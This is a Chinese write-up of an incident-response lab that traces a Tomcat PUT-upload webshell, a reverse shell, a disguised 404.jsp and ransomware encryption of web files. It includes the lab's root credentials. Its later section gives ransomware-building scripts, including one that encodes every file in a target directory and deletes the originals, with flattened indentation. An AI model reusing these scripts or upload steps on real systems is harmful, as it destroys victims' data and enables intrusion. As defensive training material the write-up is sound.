應(yīng)急響應(yīng)靶場(chǎng)之vulntarget-n
vulntarget-n
用戶名密碼:root/Vulntarget@123
一.分析history命令
1.先將歷史命令導(dǎo)出
history > 1.txt
2.分析history
1)篡改網(wǎng)頁(yè)

2)將木馬文件進(jìn)行偽裝

3)創(chuàng)建公鑰私鑰,加密方式為rsa

4)拷貝公鑰到指定目錄,將該目錄下文件進(jìn)行勒索加密

二.找到加密私鑰進(jìn)行解密
find . -name *key*.pem #在根目錄下全局搜索公鑰

將公鑰私鑰以及加密文件內(nèi)容放到rsa解密

注,將404.jsp文件進(jìn)行解密后發(fā)現(xiàn)文件為jsp馬。
三.檢查日志
1.tomcat日志文件路徑存放于 /opt/tomcat/logs

由于攻擊行為可能存在上傳木馬行為,重點(diǎn)查看post、put請(qǐng)求下,狀態(tài)碼為200的請(qǐng)求內(nèi)容。
tail -n 5000 localhost_access_log.2024-06-04.txt | grep "2*" | grep "PUT"

上傳jsp馬后,執(zhí)行了whoami

4.漏洞復(fù)現(xiàn)
復(fù)習(xí)一下tomcat文件上傳漏洞
put請(qǐng)求下上傳一個(gè)jsp小馬,使用蟻劍連接。
5.攻擊過(guò)程
1.利用tomcat歷史漏洞(文件上傳漏洞)上傳vulntarget.jsp馬。
2.反彈shell拿到root權(quán)限。
3.將jsp馬偽裝成404.jsp文件。
4.創(chuàng)建勒索文件,使用rsa加密,生成公鑰私鑰。
5.使用python,對(duì)ROOT路徑下的文件進(jìn)行rsa加密。
6.刪除加密腳本,做痕跡清除。
其他
1.了解重要配置文件
/opt/tomcat/conf/server.xml #該文件為tomcat配置文件,可以實(shí)現(xiàn)更改端口,設(shè)置虛擬主機(jī),配置SSL等
2.勒索文件制作
1.制作公鑰私鑰
mkdir keys #創(chuàng)建一個(gè)文件夾,用于存放公鑰私鑰。
vim get_pem.py #編寫(xiě)公鑰私鑰生成腳本
python3 get_pem.py #運(yùn)行腳本,生成公私鑰
常見(jiàn)生成公私鑰腳本如下:
import rsa
import os
# 確保 keys 文件夾存在
os.makedirs("./keys", exist_ok=True)
# 生成 RSA 密鑰對(duì)
pub, priv = rsa.newkeys(2048) # 建議使用 2048 位密鑰
# 保存公鑰
try:
pub = pub.save_pkcs1()
with open("./keys/pubkey.pem", mode="wb") as file:
file.write(pub)
print("公鑰保存成功:./keys/pubkey.pem")
except Exception as e:
print(f"保存公鑰時(shí)出錯(cuò):{e}")
# 保存私鑰
try:
priv = priv.save_pkcs1()
with open("./keys/privkey.pem", mode="wb") as file:
file.write(priv)
print("私鑰保存成功:./keys/privkey.pem")
except Exception as e:
print(f"保存私鑰時(shí)出錯(cuò):{e}")
2.準(zhǔn)備加密工作
cp keys/pubkey.pem /opt/tomcat/webapps/ROOT #將公鑰放到網(wǎng)頁(yè)webapps目錄下
vim flag.jsp #創(chuàng)建flag.jsp文件
vim encrypt_vulntarget.py #創(chuàng)建加密腳本,對(duì)當(dāng)前目錄下的jsp文件都進(jìn)行加密
常見(jiàn)加密腳本如下:
##獲取文件路徑
def list(src):
res = []
for root, dirs, files in os.walk(src): #獲取父目錄,子目錄,文件
for file in files:
# 獲取文件所屬目錄
# print(root)
# 獲取文件路徑
res.append(os.path.join(root, file)) #把父目錄和文件合成一個(gè)路徑
return res
## 加密
def ran_encode(res):
for r in res:
# print(re)
with open(r, 'rb') as fp:
src = fp.read()
bs = base64.b64encode(src).decode() #讀取并用base64加密
se = ''
for b in bs:
new = chr(ord(b) + 5) #轉(zhuǎn)換成acsii碼進(jìn)行位移
se += new
# print(type(re))
os.remove(r)
name = '123'
with open(r+name, 'wb') as fp: #覆寫(xiě)
fp.write(se.encode())
## 解密
def ran_decode(res):
for r in res:
with open(r, 'r') as fp:
src = fp.read()
se = ''
for b in src:
new = chr(ord(b) - 5)
se += new
resp = base64.b64decode(se)
s=r[0:-3]
os.remove(r)
with open(s,'wb') as fp:
fp.write(resp)
path=r"需要勒索的目錄,絕對(duì)路徑"
def intes():
res=list(path)
ran_encode(res)
def outs():
src1 = list(path)
ran_decode(src1)
加解密常見(jiàn)腳本
##加密
def encrypt_file(file_path, public_key_path):
# 加載公鑰
with open(public_key_path, "rb") as f:
public_key = rsa.PublicKey.load_pkcs1(f.read())
# 讀取文件內(nèi)容
with open(file_path, "rb") as f:
file_content = f.read()
# 加密文件內(nèi)容
encrypted_content = rsa.encrypt(file_content, public_key)
# 保存加密后的文件
encrypted_file_path = file_path + ".enc"
with open(encrypted_file_path, "wb") as f:
f.write(encrypted_content)
print(f"文件已加密并保存到 {encrypted_file_path}")
return encrypted_file_path
# 示例:加密文件
encrypt_file("example.txt", "public_key.pem")
##解密
def decrypt_file(encrypted_file_path, private_key_path):
# 加載私鑰
with open(private_key_path, "rb") as f:
private_key = rsa.PrivateKey.load_pkcs1(f.read())
# 讀取加密后的文件內(nèi)容
with open(encrypted_file_path, "rb") as f:
encrypted_content = f.read()
# 解密文件內(nèi)容
decrypted_content = rsa.decrypt(encrypted_content, private_key)
# 保存解密后的文件
decrypted_file_path = encrypted_file_path.replace(".enc", "_decrypted")
with open(decrypted_file_path, "wb") as f:
f.write(decrypted_content)
print(f"文件已解密并保存到 {decrypted_file_path}")
# 示例:解密文件
decrypt_file("example.txt.enc", "private_key.pem")

浙公網(wǎng)安備 33010602011771號(hào)